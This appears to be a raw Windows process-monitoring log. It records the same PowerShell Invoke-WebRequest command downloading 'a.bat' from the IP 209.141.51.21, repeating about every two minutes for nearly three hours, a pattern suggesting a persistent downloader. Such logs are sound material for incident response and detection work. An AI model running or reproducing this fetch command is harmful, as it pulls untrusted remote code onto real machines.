C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:49:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:49:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:51:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:51:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:54:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:54:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:56:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:56:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:59:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:59:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:01:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:01:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:04:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:04:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:06:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:06:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:09:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:09:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:11:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:11:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:14:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:14:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:16:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:17:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:19:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:19:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:21:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:22:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:24:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:24:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:26:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:27:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:29:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:29:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:31:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:32:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:34:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:34:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:36:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:37:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:39:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:39:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:41:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:42:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:44:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:44:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:46:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:47:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:49:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:49:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:51:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:52:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:54:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:54:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:56:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:57:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:59:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 12:59:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:02:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:02:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:04:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:04:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:07:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:07:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:09:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:09:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:12:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:12:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:14:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:14:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:17:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:17:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:19:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:19:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:22:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:22:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:24:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:24:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:27:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:27:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:29:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:30:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:32:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:32:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:34:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:35:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:37:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:37:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:39:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:40:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:42:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:42:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:44:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:45:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:47:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:47:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:49:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:50:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:52:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:52:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:54:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:55:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:57:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:57:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 13:59:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:00:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:02:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:02:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:04:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:05:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:07:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:07:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:10:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:10:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:12:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:12:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:15:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:15:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:17:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:17:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:20:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:20:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:22:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:22:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:25:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:25:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:27:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:27:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:30:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:30:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:32:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:32:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:35:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:35:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:37:42 NOTIFY: PROCESS 